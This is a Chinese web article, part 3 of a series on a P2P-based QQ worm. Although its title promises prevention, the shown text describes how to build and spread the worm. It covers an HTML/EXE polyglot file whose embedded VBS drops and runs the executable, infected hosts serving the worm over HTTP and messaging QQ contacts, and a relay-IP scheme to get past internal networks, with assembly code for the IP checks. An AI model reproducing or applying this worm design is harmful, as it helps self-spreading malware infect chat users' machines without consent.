软讯网络 > 网络安全 > 黑客技术 > 基于P2P思想的QQ蠕虫的原理与防治(3)
【标 题】:基于P2P思想的QQ蠕虫的原理与防治(3)
【关键字】:
原理,QQ,蠕虫,P2P,P2P,QQ
【来 源】:网络
基于P2P思想的QQ蠕虫的原理与防治(3)
基于P2P思想的QQ蠕虫的原理与防治(3)
3. 发送html页面的实现.
因为IE识别的是html,而不能执行exe.所以,html要包含exe.然后利用html
内嵌的vbs,生成并运行exe,从而达到传播的目的。
可是,对exe编码和解码具有一定的难度,如何才能使代码最简练,最节约空间呢?这里给出一种新思路。
把exe和html硬编码到一个文件,就相当于将exe文件指针移动到末尾,然后将html文件写到exe之后。这样,当文件扩展名是exe时,就执行exe(因为文件确实是PE结构),扩展名是html时,就当作html解释,此时exe内容就是乱码,显示在ie窗口之中。如下:
db ''
db 'Thank you for test it!'
容易看出,html代码只是exe中的一段数据。 exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。
三.局限性与解决方案
如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。
基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为
其他机器找不到它的ip.它无法作为服务器。
解决方法如下:
1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.
2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网
是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。
3. 这样,当机器处于内网时,会向好友发出_blank>http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:
IsActiveIP PROC IP : DWORD
LOCAL VSocket : DWORD
push ecx
push IPPROTO_TCP
push SOCK_STREAM
push AF_INET
call socket
mov VSocket,eax
push IP
pop TestIP
push sizeof(sockaddr) ; Size of connect strucure=16
call IAI1 ; Connect structure
dw AF_INET ; Family
db 0,80 ; Port number,avoid htons :)
TestIP dd 0 ; in_addr of server
db 8 dup(0) ; Unused
IAI1:
push VSocket
call connect ;ret 0 if sucess
push eax
push VSocket
call closesocket
pop eax
pop ecx
ret 4
IsActiveIP ENDP
SelectTrueIP:
push 64
pop ecx
mov esi , offset TrueIPList
STI1: lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax == 0
sub esi , 4
lodsd
jmp STIExit
.else
loop STI1
.endif
xor eax , eax
STIExit:
ret
UpdateTrueIP PROC TrueIP : DWORD
push 64
pop ecx
mov esi , offset TrueIPList
UT1: lodsd
.if eax == 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
push 64
pop ecx
mov esi , offset TrueIPList
UT2:
lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax != 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
UTExit:
mov eax , TrueIP
ret 4
UpdateTrueIP ENDP
TrueIPList db 256 dup (0)(未完待续)
|